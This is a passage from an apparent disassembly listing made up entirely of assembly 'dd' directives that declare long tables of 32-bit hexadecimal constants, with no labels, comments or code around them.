		dd 497A1C44h, 0AAA140B0h, 0F7C41DFCh, 66550716h, 0E3C0E600h
		dd 0CA3010h, 2AFFD14Ah,	580F20EFh, 7B68800h, 0BB84EC71h
		dd 4C6403A1h, 23799106h, 0BCCA73E8h, 36EF48h, 0B3814107h
		dd 0AE6CE7h, 9D280E19h,	0F96BDD12h, 9CD3B400h, 96FD8F75h
		dd 62840033h, 74305A2Eh, 2900F5F1h, 0E9D7F89Dh,	30A663B6h
		dd 0CF4008A5h, 0D800B26Ch, 0D002FDD4h, 639E78h,	72A0FA38h
		dd 6B7D3477h, 0D6FB4200h, 121FA87Fh, 0C978D82Bh, 0D71CBEBDh
		dd 0D5DBC5D2h, 1618BEAEh, 31059Dh, 9F1C386Fh, 8C6283Bh
		dd 20D448h, 77311DFBh, 27496CB2h, 29B5BB1Dh, 46160A7Ah
		dd 0FF00AC90h, 0DE92DA0Ah, 883E03A2h, 8BE615F3h, 80BDCCA1h
		dd 99F2DF20h, 1B10FEB4h, 399779EFh, 80EDC1A1h, 523850A1h
		dd 0CC4BBCh, 0D98D4210h, 0F1BF8B93h, 1FD720C0h,	768966D2h
		dd 0EB870C78h, 1C08DF70h, 0B0509360h, 3B176625h, 2F0095ACh
		dd 408F4AA2h, 71019474h, 0C4537A84h, 8058D4D7h,	0DF31041Ch
		dd 32127024h, 14E620B4h, 0D9387431h, 0AE8E008Fh, 5DAAC627h
		dd 51D370BBh, 0CD416044h, 3C44D5Bh, 95720005h, 0E2656A4Bh
		dd 7F0013E9h, 0BBC0E6B5h, 2274D7h, 93837D3Ch, 66FFEAB7h
		dd 0A10604E8h, 0A6C7AABh, 167804D1h, 8014D61Bh,	8AFB5C00h
		dd 0FEEA4907h, 7260F583h, 0C0D32FBEh, 173BBA20h, 6F53F603h
		dd 0FF848420h, 51A8C560h, 0CF83E06h, 0C9D343h, 0D050DDF7h
		dd 0A67FC258h, 7E74B2ECh, 2D21DB60h, 39AF53D6h,	0CFA63E5Ah
		dd 0B8D90E6Ch, 380F92Bh, 9CB9D0D7h, 38A1A707h, 6A70F1C3h
		dd 635902h, 0E5D4820Ah,	26D27DB5h, 0E80F1718h, 3AFAA0h
		dd 6FDB2AF8h, 65791C44h, 90DA2B2Ah, 0E6DF00A8h,	589F1503h
		dd 0E030C5D6h, 0C0F35BA1h, 0DF652540h, 0E0C6B629h, 83F96341h
		dd 1E60ACF8h, 2410C531h, 0B2C81C20h, 3116F880h,	24801AB5h
		dd 31981E25h, 83F59B50h, 0EF5A9469h, 0C86AC8F1h, 594F0085h
		dd 7827F8F0h, 0C6B00735h, 0FFD63Dh, 0E31ED879h,	5D98Ah
		dd 91CD8DDDh, 45AD6A32h, 65692707h, 0AE17A92Ch,	34EF7150h
		dd 4F3E138Ah, 0C21C54h,	0EDC37312h, 4A2699D1h, 0EE006123h
		dd 5C2784A5h, 3B060028h, 0F8CC7AC3h, 33EE6610h,	0F64239h
		dd 43FE705Ah, 1EB23761h, 8006B016h, 0D055A382h,	3A07BC7Fh
		dd 0FE8176D3h, 0E89BDBE0h, 15470051h, 86B21D66h, 791C7467h
		dd 386EADh, 0F9100F9Ah,	6B9849h, 9B4885ABh, 6AACD6C5h
		dd 0F00410D1h, 0C2952F3Bh, 0C35A3310h, 4AB6A980h, 84006173h
		dd 0F80F9304h, 3383249Ah, 0E828F70Eh, 300FF692h, 48489084h
		dd 0F91F4317h, 7C925111h, 21B5C211h, 708A1F7Bh,	608BF629h
		dd 894A1080h, 0D1D9104Fh, 0ABEC3FD8h, 45B19680h, 63E4D0C5h
		dd 0BA9B1F00h, 1EDEE36Ah, 708F0037h, 449FCD58h,	43074791h
		dd 0B0084D60h, 2F3D4880h, 384C00A1h, 576B637h, 7A1C1092h
		dd 1B802B5Ch, 0BD5F60EBh, 0A1D50730h, 0F5EFD4ACh, 6794804Ah
		dd 200029B7h, 1FEC61BEh, 0C77C80h, 909F5428h, 0F13B26A5h
		dd 0D051A900h, 12A05E04h, 64860B09h, 0C8005542h, 9EFAC06Eh
		dd 723E5C7Fh, 0FBD88076h, 0F8FD7C94h, 21A00312h, 2B5DBD65h
		dd 0E88476D8h, 90DD8A8h, 0A835AA00h, 0C120FCC5h, 961703FAh
		dd 56E771E0h, 40059FD8h, 0FB21DE03h, 9E8562h, 0F6C8D310h
		dd 0C3EE7797h, 0DD023000h, 0D6BFB724h, 0EA6F008Fh, 558927E2h
		dd 3B00E8B2h, 3AE4DC20h, 2CD74D69h, 289A59FBh, 0B88D2818h
		dd 5F2400A8h, 0F1AF343Ah, 16007C8Ah, 53F66603h,	0E107ABh
		dd 8E9EA1D9h, 71ED9950h, 0B2E608C0h, 26576F9Ch,	0C3F9BAh
		dd 39C05F2Fh, 0C9161E6Ch, 8E0340E3h, 0C8C11AFBh, 734C8Fh
		dd 9FAD5C05h, 8B070919h, 9CE7AB03h, 0F077EE57h,	1E4E8F50h
		dd 32B108h, 0F22DFC85h,	0E0006664h, 173D02A6h, 1BA5AD2h
		dd 904854DFh, 0D45F0777h, 8765627h, 6FEA73Bh, 4D731F45h
		dd 78C10070h, 721828DCh, 0DA1EAD23h, 0A85C7D16h, 4F7FD4C3h
		dd 0C800B5A6h, 44F12201h, 0BE7C0041h, 0E8CA4218h, 723F58FCh
		dd 0C6BCD5A3h, 4188BDE0h, 0D547500h, 182A3C49h,	6B7300F5h
		dd 173481CCh, 0CFF0F459h, 648B048h, 0F76218AAh,	4CFAEC20h
		dd 0DD0040F3h, 765A1A90h, 9AF22265h, 0A0080849h, 0EE750B06h
		dd 0D66D0FA1h, 68415EE2h, 20652FB9h, 81046E38h,	0AFC0CFB2h
		dd 39E76300h, 0EA262FD2h, 56000082h, 36ADDD18h,	0B04090A8h
		dd 324300A2h, 7CEC6417h, 20005F50h, 5B94DAE6h, 3EB2318h
		dd 8C02C181h, 84B8FD3Fh, 9AA0136Dh, 54005296h, 0A01ADB1Eh
		dd 9D2C7Ah, 2A0DB5A5h, 0D0073AFCh, 8761FF18h, 772BE0h
		dd 0A9E5AA2Dh, 155889B6h, 0DE3D2800h, 33798362h, 59350C0Ah
		dd 7430CED7h, 68E57F0Ch, 8411C7h, 1179F92Bh, 0CAE157B6h
		dd 610731B0h, 0CE9684Eh, 40017F70h, 0DF030127h,	0D741043Fh
		dd 2DC5ECA6h, 25D4400h
		dd 6F82AEB0h, 0AFFF0161h, 37861F1Dh, 0F64820A3h, 0AA445200h
		dd 6D2404B9h, 0A9710A75h, 199410ECh, 0E8607E37h, 5500BFE9h
		dd 0C88E9326h, 0B69A4Ah, 80D84291h, 3845075Eh, 9CB14E0Ch
		dd 0D4D80Eh, 35A7C126h,	0DF649866h, 0BBC59900h,	4007F295h
		dd 4BF100C7h, 253CD4FEh, 3D0069E7h, 4852832Bh, 0A3B747Ah
		dd 7E2C0E77h, 72D400B0h, 0D7FE5863h, 71E3D00h, 0D1FF09BDh
		dd 0B06D005Ah, 8ECE522Ch, 3B0081ADh, 2D94BE49h,	4F9F421Ah
		dd 0CDA8F5h, 7D7B8D65h,	6A1251h, 2ED87DBh, 6E0B794Ch, 0EAF87100h
		dd 6FFBD937h, 0B0D5027Eh, 0F23C8090h, 0A605C680h, 0F4E1B942h
		dd 0C10BAF50h, 51DEBDh,	7344C53Ch, 49D400E9h, 8F87EA42h
		dd 8C03FBDBh, 0CD9C439Ah, 32A18146h, 0D3B7C0h, 613BBBFAh
		dd 0B67A2880h, 50F1400h, 6C9AD81h, 43E0185h, 35D85C4Bh
		dd 0DC3DD545h, 0FD1215F0h, 8C40CE82h, 0A8B37F08h, 0F22C03E2h
		dd 9E21D3E4h, 0DFC9A800h, 9F57FFF5h, 3EC108A9h,	7A005063h
		dd 95B81065h, 0F8BF382Bh, 64324001h, 0F2DD596Bh, 0C08BB061h
		dd 0CD905DA2h, 0B0347E24h, 6CE09A00h, 98539307h, 195760FCh
		dd 0C4FA5AF3h, 0A7021770h, 0B9611EC3h, 0C6C060EBh, 0E35B50A5h
		dd 2F7800A4h, 0AA0B7119h, 48096EBFh, 80ABE754h,	415F1D3Ch
		dd 504274C7h, 0F498B134h, 0A11A0640h, 387A0B6Ch, 0DD193E00h
		dd 0A3B36001h, 2A401F1Bh, 0B8BCC066h, 0AC231689h, 0D6195B00h
		dd 14E7C873h, 12DA00AAh, 13033441h, 160099B0h, 47838545h
		dd 984F7D1Dh, 0AF8F00C2h, 68DC32C2h, 600A2FEh, 0AEDD220Ch
		dd 5E89ABh, 867BF6AAh, 3E75590Ah, 7CA45C50h, 3880404Dh
		dd 1600F033h, 64BF2CF8h, 962E032h, 4E3EFE1Bh, 0A0DCEF87h
		dd 0A10F4E1h, 18CAAC00h, 2FAE501Fh, 0F8B0D8h, 860C74CFh
		dd 790B785Bh, 59D4BD00h, 0D2204BBCh, 8020F789h,	2FB0C8h
		dd 468AC401h, 0F7512564h, 21A01D30h, 0A8F420h, 54EADAA5h
		dd 0C0E74070h, 53D45D07h, 5CE0A32Fh, 2F1D636h, 0B65BDAC4h
		dd 1C600CCDh, 7F0CB044h, 100D9C8Dh, 62380136h, 7DCA511Dh
		dd 0D5F570D8h, 0AEFD8D03h, 53D0A7h, 0AFCEB929h,	0FE222C16h
		dd 65737D00h, 3BE31B0Bh, 0FF8BFh, 9793E055h, 5488017h
		dd 743A6300h, 0CF4736C3h, 58EA000Fh, 211891F0h,	613C2708h
		dd 579700E0h, 7AC65292h, 0E434034Fh, 1F4BCB01h,	2A7BECD8h
		dd 120077ECh, 0E6E052DEh, 1D196FA5h, 40AA7AF0h,	0F8CCA6C4h
		dd 0C000056Ch, 0E4A86B59h, 3CE3732Bh, 0CE80625Fh, 0C68EDCFCh
		dd 0C100E057h, 87BC31A1h, 0F87645h, 0D4AAD3C0h,	2A5A7E63h
		dd 0D8EC1600h, 53374FD7h, 0DC1C0047h, 598ED2E7h, 5A07D649h
		dd 4B5F84F6h, 0B498EA80h, 68390050h, 1A44A4Dh, 300910Ah
		dd 0CEFB4E9Dh, 0F8528A3h, 0C5FA3318h, 7DEF8A0h,	0EA07C921h
		dd 3CCEA947h, 93350F90h, 74E8A5h, 8166B3FEh, 3D42B260h
		dd 0FFC8CA00h, 1C155149h, 1FB70772h, 1AB4A8BDh,	905300B9h
		dd 5F3337CDh, 0BBA03C00h, 0C0E94402h, 0A37848h,	0E069886Fh
		dd 71C2FF14h, 0EA527B00h, 0EF160256h, 3EF007ACh, 501B1027h
		dd 83A1D376h, 0EB059C07h, 5590024Dh, 26DC0Dh, 2E6A4EA9h
		dd 6814E58Ch, 57DFD303h, 0C0EB863Ch, 111D0EEh, 181A15F4h
		dd 61C5E14Bh, 0D1D8F735h, 8409FEB4h, 722B7Ch, 0BCA1EA00h
		dd 0A05C0180h, 6E14734Bh, 94E18029h, 66880BC8h,	0DFA91EB2h
		dd 0EC3180A4h, 0F38F2105h, 139FDA01h, 2253E56Dh, 0C543AC40h
		dd 76500069h, 0F8B6A24Ah, 9A009834h, 0E009E966h, 8C372Ch
		dd 8E675E03h, 365A1BB0h, 8B4C3Fh, 0D3CBE6B8h, 2C98493Ah
		dd 2F3C22h, 0FAFF2E18h,	0E004E28h, 6BC81E3Fh, 1660716h
		dd 0A0E07315h, 429FB843h, 33614794h, 0E0F5D110h, 0D8C1830Ch
		dd 1D468D53h, 31002826h, 631B072Fh, 9F00D182h, 27DAF690h
		dd 75C3076h, 600B6F3Ah,	2356A06Eh, 2803C338h, 0ED96D048h
		dd 0F0BFC91Fh, 12AC0F8h, 0B7A543D1h, 0D0825AABh, 1A005DD6h
		dd 0F75267F4h, 732AD72h, 196A6F45h, 50381CBEh, 0EE6E2A00h
		dd 0B2B5D1FEh, 0C3783AE7h, 18969C80h, 77E5A69h,	138533Fh
		dd 0C423F2CDh, 4020C9E7h, 50BCE6D4h, 3085C08Eh,	0F23E380Eh
		dd 5800D9D8h, 0F1729C6Fh, 0A8F11h, 748C1C28h, 0B84D250Dh
		dd 0E844171Ch, 88579040h, 258521D4h, 8BFE947Bh,	63001137h
		dd 0B93035h, 3F6DA771h,	5EF4F93Ah, 0E0804950h, 79318775h
		dd 892EE054h, 284DAF20h, 0BCDE1Ch, 2D6078B8h, 8307BF3Fh
		dd 0C980A8DEh, 16531940h, 5FA007Ah, 8E39DE28h, 0DB3E6B47h
		dd 0B338F925h, 61800091h, 540AC1FAh, 750B0333h,	2AE03BCDh
		dd 3C48A2B2h, 8D00F4C4h, 0D4487F6Ch, 3570E51h, 32C9CC8Ah
		dd 0D407F022h, 6052C0E8h, 5677FF67h, 0D7F80460h, 0B7C20074h
		dd 178EE44Dh, 0D4007572h, 0E7736847h, 1D3E2B6Dh, 407F2E3Fh
		dd 62C3E5EEh, 1D005D57h, 59E7E015h, 3C21942h, 3C70DF5h
		dd 95A828CDh, 1600DA9Eh, 8104438h, 4EE30Eh, 0ABEA5BC2h
		dd 0B6F1E9B9h, 2F188300h, 6DAF3852h, 9AC706F3h,	68EDF60Fh
		dd 106A6B00h, 0D9093C1Dh, 41FA0363h, 0D7D572BCh, 0AA8646E8h
		dd 1FBA053Fh, 0F2008B6Dh, 0AF8207EBh, 0E3B7006Ch, 0F58404A6h
		dd 0CE399FE7h, 5C9B8034h, 6C8C5544h, 0B4671266h, 9994403Fh
		dd 0D4B2A3ABh, 0D2229403h, 98BB870Ch, 80BF31h, 0BAD88BADh
		dd 0E452ACBEh, 878A7500h, 65769862h, 5FD10ECDh,	45A9BB6Ah
		dd 0DB2B400h, 0AB024787h, 33B8BE68h, 6D4A025h, 2639B89h
		dd 0D9C48EA3h, 96E03062h, 35004A3Dh, 7F037B8Ch,	186CD2F6h
		dd 0A1E77E60h, 8007931h, 75DA47CAh, 84C6AEh, 88430E6Ah
		dd 426D9690h, 0BC35B1Ch, 0A8215900h, 666489h, 437D57DBh
		dd 0DD47FF16h, 0E7EE4890h, 593A90Eh, 40997890h,	0E61D2CACh
		dd 0A204005Ch, 65F2E9ABh, 0EDE04F03h, 81F59Fh, 80CA9CB0h
		dd 66D23214h, 6C054216h, 11AC1841h, 34F9D012h, 0B39B80DAh
		dd 1F5FAAEh, 68FCC3C0h,	606DB6E0h, 703F361Fh, 0F10B7D88h
		dd 80D375BAh, 964F53AAh, 90AA0083h, 281755A2h, 0CE60FC52h
		dd 9B71F560h, 0DBB30465h, 0C0C6ED9Dh, 30D27444h, 3709D800h
		dd 0EB8FD36Ah, 0B5F2CAEh, 3862832Ch, 0CCC9B86Ch, 50608043h
		dd 28B6C959h, 75A1281Bh, 0CD8100FEh, 0D31F231Ch, 2E02474Bh
		dd 0CEFDB2D9h, 0A724C0D8h, 430F13F5h, 0DCA4400Dh, 0D178BE53h
		dd 8B298F04h, 48C055B1h, 0F508C9C8h, 761060h, 8872DBE1h
		dd 695DF882h, 0C8F1E700h, 0E6A89152h, 3B7D77CDh, 0D780D838h
		dd 954ADC9Dh, 6901E051h, 88A4B20h, 0FED847E6h, 4FDE0019h
		dd 9B738ED3h, 5E006F0Ah, 45DC819Fh, 6D99C3h, 1152714Eh
		dd 7495E4AAh, 0A70766F8h, 3FAE02C1h, 0A0D52023h, 1F1094h
		dd 440EB763h, 9EA33211h, 38F7A730h, 0F14802h, 0FBF52F45h
		dd 0D14CAEFFh, 0B41A3606h, 9956E8h, 0A9A3F48h, 0C74A98F1h
		dd 34AB721Eh, 0EFFF0140h, 4BB22Fh, 0F0D48C6Ah, 0A0B01EAAh
		dd 5CF7ED0Fh, 9836C0DBh, 3F38ECA8h, 75EE6Fh, 76759ABAh
		dd 0FA2DD4BDh, 0FB61FF00h, 28E5B471h, 14FC09B5h, 160396ECh
		dd 1A883808h, 61F9E7Ah,	803B2568h, 0A451AF4Ah, 75270ECDh
		dd 0E0DC0133h, 4D1BA38Eh, 93A7DFA6h, 0D1E03A35h, 3214AF66h
		dd 1A4DF0Eh, 914537B7h,	2BDC9857h, 258E00F8h, 0FB8007A9h
		dd 7B00CEC6h, 0E3491B61h, 1E66AD0Ah, 8015348Ch,	0DBE54169h
		dd 3200DC60h
		dd 42742835h, 72BB0C3Ah, 0C7120111h, 13E2471Ch,	0CCD4D475h
		dd 1BAAA200h, 2D48049Ch, 9EFF0FDAh, 0CB20C1DFh,	6ECAB6E2h
		dd 7EA2A00h, 0E4EDB492h, 5FA6A0A7h, 75EF0542h, 81639DE5h
		dd 0C402F501h, 0BF070E69h, 0BE8ED268h, 4F4879B0h, 5DEC1D30h
		dd 0F1EDC0BAh, 1744F7C6h, 0DC57341Ch, 7E1898A8h, 53986C16h
		dd 1E430084h, 0FB3AADE1h, 7C00C7C4h, 0F14A8C5Fh, 5B7437h
		dd 4C4E3E1Bh, 0F9255238h, 0BCA0830Ch, 6A788DAh,	1E622618h
		dd 0E1F250DEh, 0D6E0B900h, 0D3DF5B4h, 0D87F412Ch, 0F90F2668h
		dd 808F4E75h, 0C1BD153Bh, 972B0088h, 0AF6103A5h, 983B71BEh
		dd 4DB0023h, 0CE50B96h,	0B59EA0DAh, 0EC2139DEh,	40C27E81h
		dd 2083707Dh, 0F31CD308h, 4CC06056h, 72DC512Eh,	89610C5Ah
		dd 9298D712h, 2A6A8300h, 0DF16919Dh, 0D376AEh, 1355DCF3h
		dd 0CC06D1D8h, 0FEB38B00h, 9938692Eh, 8FE09718h, 3A005E27h
		dd 25E2B7A0h, 0B673E8h,	0FC07736h, 51C21DD1h, 0FB976A01h
		dd 0B29BF619h, 12C31440h, 1D3D3AADh, 0F595BD82h, 0B080EE67h
		dd 403008E6h, 0FFCDA603h, 0C8E0E37Eh, 124F98h, 0D6544642h
		dd 0D5C193F6h, 9A06C807h, 91F08CB4h, 0F613B97Ah, 0E2B8BAh
		dd 1138755Ah, 44861D35h, 0F89B3A09h, 0D78000E8h, 62550Fh
		dd 0A91B2360h, 656FE199h, 3573DB00h, 4C6BC9F0h,	0E6AE3DB7h
		dd 1C37E26h, 3FB20917h,	0F080E65Dh, 4E1537C6h, 0DCF00E02h
		dd 80DFD7C5h, 0C14251A8h, 361400F5h, 0A1F8C3B4h, 0AC093160h
		dd 2A446Bh, 4D116D40h, 0B3E320EAh, 0C5C04301h, 3AFBC78Dh
		dd 24B47DF0h, 8038FFEFh, 0ED09422Fh, 3E1EC371h,	0FD806DBEh
		dd 107391E0h, 0A91C6036h, 2CB12D9Bh, 408C6000h,	848D1572h
		dd 3F30C0BFh, 0A86EF8A2h, 2D7FD30Fh, 0CDD097Dh,	3C09C0F4h
		dd 1E81F67Eh, 9A19A60Bh, 0DD7C3043h, 0B105AC00h, 3F93EAF1h
		dd 67EF3DC5h, 621D3B1h,	888AC6F0h, 0C05D1FF8h, 97F54B2Bh
		dd 5B02628Fh, 0BB753DB4h, 8234E025h, 0DEF70035h, 91BF7283h
		dd 66003FDBh, 18409221h, 7AFBE16Ah, 6513C70h, 56643FFFh
		dd 830F779Fh, 4D2F7E8h,	0B17E32C8h, 13D0E900h, 4EC31C3Ch
		dd 0C6DB140Ch, 63F98F0h, 46601009h, 31E2480h, 3900E8C1h
		dd 0E622F36Eh, 16D6B773h, 1FF46033h, 0EC554037h, 999D31AFh
		dd 56F5F300h, 947AA6EDh, 0D5320998h, 20008BFEh,	4807583Bh
		dd 1FDD2A03h, 0D8E3C23Ch, 32CFD10Ah, 9899B1B7h,	0D02AC381h
		dd 8C10F412h, 0B869BA00h, 49C7CA3Eh, 0A926033Ah, 7AE2611Dh
		dd 0D440418Ah, 82003481h, 0BB76CE68h, 1C96CFh, 0CCB5E1D5h
		dd 3A9BF522h, 0D009B600h, 8CD8FDE6h, 0EA8101FFh, 4D77C2D2h
		dd 4BF7DC7Dh, 0BB279200h, 0BADBC69Ah, 82C5009Dh, 0FD1F22B3h
		dd 6900D5A3h, 71E17FFCh, 12C1CC25h, 3D73BAEh, 4F1D59A8h
		dd 24E7BDC1h, 31802D3Ch, 402B0084h, 2B6CB33h, 0A809ADB0h
		dd 9F4E1Ch, 0E9927D8Ch,	80E707B1h, 637C055Ah, 76D2AFF7h
		dd 0BABE0880h, 9600A608h, 0DF5C8FE2h, 2C7D89F1h, 886CF2h
		dd 7599687Ch, 0ADE20C8Bh, 9A49F800h, 770741BEh,	0DD13036Fh
		dd 0F8B14EFh, 3AE02020h, 4E1F10A7h, 0B990E01Fh,	0A100DEF8h
		dd 0B1AD839Eh, 90FCDC04h, 0A3E400D4h, 8E528693h, 1E0040C8h
		dd 90C578A2h, 37B03CBh,	0A0C6269Fh, 5601D470h, 0C4140CA9h
		dd 0CEDF76DDh, 0E9410081h, 0E5CBA5ABh, 0F00ADB34h, 50717780h
		dd 3820431Ah, 0A1A7495Ch, 0F0C08C28h, 5BCF0081h, 1B34DF9Bh
		dd 8A043A71h, 0DA0F0C5Ch, 355FB0h, 5227494Fh, 0A153DED1h
		dd 8691B23Eh, 0D061ED6Dh, 1BC47F58h, 69FC0FEBh,	0AC043AC5h
		dd 9BD3061h, 43E18510h,	0CEE30E05h, 0D8029633h,	800BEFC7h
		dd 82B761D4h, 853F0C16h, 672945FBh, 0C472284h, 0B119B42h
		dd 1F5B211Fh, 0CF22A2A8h, 1B4A2281h, 62118F42h,	51733012h
		dd 1C5306h, 0D525F724h,	146BA5A7h, 2AF00C30h, 65B8E4h
		dd 0A66E216h, 42C81B7Dh, 34B25Ch, 0C50C8089h, 7725BD4Bh
		dd 0E7ED0081h, 98F852D1h, 0AD0007F3h, 0BC4B4945h, 0E637DFh
		dd 0FC997DAEh, 0D46432ABh, 0ECEFB500h, 0C033933Bh, 0F42F001Eh
		dd 0FB91F14Bh, 0B40009E8h, 19052C42h, 4FF39Bh, 0FE28BB52h
		dd 80E07746h, 92D2FA00h, 2FC858F6h, 99D31CEAh, 8AEE4037h
		dd 7D0DA6A0h, 93EBA15h,	0A30075CCh, 6A3018F0h, 7327E2Eh
		dd 36FE8350h, 7CBE51F9h, 8B888505h, 67C1C760h, 0B1E07839h
		dd 28C60008h, 5B9A1DEAh, 0DC50226Ah, 0E1C05FF4h, 0BA314F97h
		dd 947F45h, 660AA42Dh, 1B02E87Eh, 6514AD00h, 873B8F3Ch
		dd 50F00062h, 0F2D9B839h, 0A707C3A2h, 366EA4DCh, 248E6A20h
		dd 958D0089h, 8A69B2BDh, 0CF060E77h, 6EEC4D48h,	5ADF3B20h
		dd 6382B080h, 9FFDC63Fh, 0BBE8CA07h, 9D137281h,	0DD280393h
		dd 0AC45531h, 307FDE8h,	0BF718007h, 0DAA05737h,	2E8DE51Bh
		dd 14E24h, 0E174CB25h, 0EC386FD6h, 0C1D08014h, 86E278B9h
		dd 6B70C0h, 82E30626h, 14A90AD2h, 38D0D90Eh, 0FEEB4722h
		dd 0C3A0BCF0h, 7B1200F5h, 7355FA60h, 0C0A0C1C6h, 440067FDh
		dd 0DE44FC4h, 7D6F2293h, 3B7F61Ch, 79FFD614h, 40D03B26h
		dd 284E1EDEh, 540009ACh, 22B5DBC5h, 0F83FD5B7h,	23BE8069h
		dd 5A3B0325h, 567600FBh, 33521007h, 5492C574h, 0A323A700h
		dd 61AAB5DDh, 0C38A2657h, 34D4009Eh, 8DFB5912h,	80BAA101h
		dd 1E5DE03Eh, 6823420h,	9DD432B0h, 9402101Fh, 0DE29155Ch
		dd 0F52840F4h, 93C940FDh, 7B09DF0Ch, 12152814h,	0ED926CCh
		dd 0C8E3014Ch, 23A9B79Dh, 0F7208012h, 0AC6C8BCDh, 7CA20E6Dh
		dd 732044C2h, 0C915C848h, 361C9714h, 76B100E8h,	1465EBBAh
		dd 256E0013h, 0AB64FCD8h, 0B018C50h, 74212D73h,	0E2F02EBEh
		dd 0F710039Bh, 0D296F6FAh, 5126D880h, 68039F7Ah, 0BFC197CBh
		dd 0CAB8E8EFh, 0C9660062h, 0F038C69Bh, 400058C3h, 4492E89h
		dd 0B3E9D1h, 25462DE3h,	37124783h, 0D34CF901h, 4A24DF85h
		dd 1D74C6F0h, 1FC8BF7h,	0D29A6CB7h, 72D9FCE1h, 0E7835B00h
		dd 81BC3C8Dh, 9FF0096Eh, 3480E4C1h, 83283932h, 6D357800h
		dd 0C0DC16EFh, 0CD7B0Fh, 0BAE0979Ch, 1555F699h,	0B08CAF00h
		dd 0E2C6D26Ch, 0F83C0037h, 0D324AEF0h, 7000951Bh, 0EC164247h
		dd 201F6C0h, 3A8806A2h,	0A540A599h, 2900D5AAh, 300F22EFh
		dd 19AE5CFh, 63A6E03Dh,	60EDA7D1h, 0A500E890h, 0E3A0FE5Ah
		dd 6E379Ch, 2A8CD4F2h, 0E1FC29FAh, 0A10F5Ch, 0F31BCD25h
		dd 1C404EAh, 73994590h,	0E51C0985h, 3938F453h, 4D8BBD0Eh
		dd 5680FF26h, 9BC8EE76h, 0BA2200CBh, 7B7461F4h,	1D00AE7Ch
		dd 8ACC972Dh, 49E31Fh, 0FE9A33B1h, 0C34F257h, 177A8701h
		dd 8F81D4B7h, 105DC0h, 0BC94D31h, 0D0908D11h, 3D7AEA7Dh
		dd 884E6F30h, 730D378h,	0C1EC2662h, 78C8397h, 2CFC52B8h
		dd 19631403h, 0D28AB3CFh, 83A0E06Eh, 0E77033h, 7055F0BBh
		dd 0A2ADCFE0h, 9CD28B00h, 0DA8F87A3h, 8EC601AAh, 0B8DE3274h
		dd 6A58FE97h, 91DC5D00h, 192643BEh, 14BC7221h, 0E013A669h
		dd 0C04E681Ch, 96AD890Ah, 7401AA99h, 0E223A08h,	80EE1485h
		dd 1E32C9D3h, 101560D5h, 79F69A94h, 1BB36807h, 0CE70D936h
		dd 0E0FF69h, 6EDA272Bh,	569BA095h, 0B8798500h, 2C69EAAAh
		dd 0D310005Bh, 0F9AE0BC5h, 0A91F33F8h, 2440F3D6h, 0B5CAD201h
		dd 788507FAh, 0D190972Bh, 0F4DC06ADh, 20002315h, 12839B0Bh
		dd 25378h, 5B9333BFh
		dd 0C35C4B0Ah, 9539D200h, 0FE5480C5h, 1DE2004Eh, 0D4A91934h
		dd 0DF005B01h, 9C843B14h, 2CC56EDDh, 560CEBh, 242E568Dh
		dd 3A03D56Ah, 34CAB7DEh, 1F29E080h, 15D70053h, 26F814BBh
		dd 2C006858h, 0DC0E7E8Eh, 19D9E257h, 48D4B06Ah,	26C9302Bh
		dd 890E7272h, 702EAB9h,	2F70DD56h, 72B79h, 963DA6DCh, 0E32ACC74h
		dd 38158C00h, 9E410825h, 37A5005Dh, 77D58A12h, 16003A2Eh
		dd 0C7FCD3AAh, 4F18E3h,	244BB27Eh, 6C44BA86h, 4DAC7700h
		dd 730423AAh, 0CA9B0054h, 11809C32h, 31006F7Ch,	7526697Bh
		dd 140B714h, 0FC83D45Ah, 2059647Dh, 2D139A33h, 35008FD5h
		dd 725680FEh, 5BDB0014h, 0F7BA95C0h, 340076A8h,	4579067Bh
		dd 0F452B1h, 0CEE611BEh, 7E67A51Ch, 468AE0Ch, 3001391Eh
		dd 92311FB0h, 5C00732Ch, 52EFD94h, 0C0B5237Fh, 0F1A55229h
		dd 0F6003CECh, 36D10C53h, 0FC8A8Fh, 4F8CC497h, 73ED7FA1h
		dd 2EBF2912h, 0F6D50400h, 778D26h, 0FDF1256Bh, 8B9152DEh
		dd 8F839501h, 0CEB9AEC2h, 5B7C18A5h, 0CDDEE00h,	0A567F9h
		dd 416BB04Bh, 0F4DFAF25h, 23E54D01h, 505F2FD0h,	1EC5E8ECh
		dd 406A4749h, 91CA7DF6h, 1C18D3F3h, 7780D0A4h, 615B7AEFh
		dd 0C6909080h, 0B14EE053h, 0B2AF48h, 0D316C7C8h, 4002A0h
		dd 208BA17Dh, 6932988Ch, 95A8EE00h, 0EC3AF6C9h,	0C6C1408h
		dd 4F0194E5h, 765FDD91h, 2F95E8F5h, 7878963Ah, 3E00F97Dh
		dd 5873F862h, 0FACF72h,	8A1C92E2h, 69EB5C65h, 0D7A0600h
		dd 15FCC0D0h, 6A6F1284h, 5F0435Dh, 0C7A8F98Ah, 0D0090C9h
		dd 3E374DABh, 309AE01h,	73B3463Fh, 60FF5A4Ch, 70B4B950h
		dd 0C0E45800h, 0EDB6A07Eh, 0B761386Bh, 399A8100h, 227AEC36h
		dd 0CCA1320Ah, 0F0008C2Bh, 6253CB9Ch, 92830E08h, 0AB21C3CFh
		dd 708CDB5Ah, 0C500C922h, 0F849055h, 0ECD29Eh, 0E55929C3h
		dd 0A3CFEB0Ch, 1FD4CC3Bh, 0BBC43E2Eh, 0AC8532DBh, 0E3349B80h
		dd 0ABD0092h, 0C81C4B98h, 56E44419h, 6AC58D00h,	5461D606h
		dd 0C4DB0459h, 80266BF4h, 80C3E214h, 1BAB90Eh, 8DDFA727h
		dd 50A23C50h, 0E5B5140Dh, 5303E483h, 200590EDh,	0BAB1D780h
		dd 0DDC8C500h, 9406FFCBh, 82C300B5h, 0B9E049EFh, 78004F2Ah
		dd 37876C74h, 7E8001BDh, 7F390053h, 0A4252808h,	0ECA02D2Bh
		dd 83055886h, 0A00E211Ah, 0A0C737C3h, 8562CEh, 3C962071h
		dd 5355D3AEh, 0C13A3401h, 0E35CBFE7h, 6512DC32h, 64530280h
		dd 3448556Ah, 0E000D374h, 60D50719h, 0EEC441Bh,	97A92F7Dh
		dd 0C436582h, 5FC6E0FFh, 68121841h, 0BBD8E877h,	0CFA6AF00h
		dd 0ED494030h, 7839B08Dh, 0F65F00C0h, 61DAE60Ah, 85017AD3h
		dd 4C9334FCh, 5DE07992h, 907F16FBh, 983F00CFh, 0BE4B0E63h
		dd 0C08C40CFh, 1201B0EFh, 0CA7AC0h, 1584672Ch, 2E331A0Eh
		dd 6A30B00h, 5E8334C6h,	791C913h, 0B498BC90h, 0E80F49h
		dd 298CE76Bh, 98C0B6B1h, 0A8B92608h, 0C8890155h, 5023DF9Fh
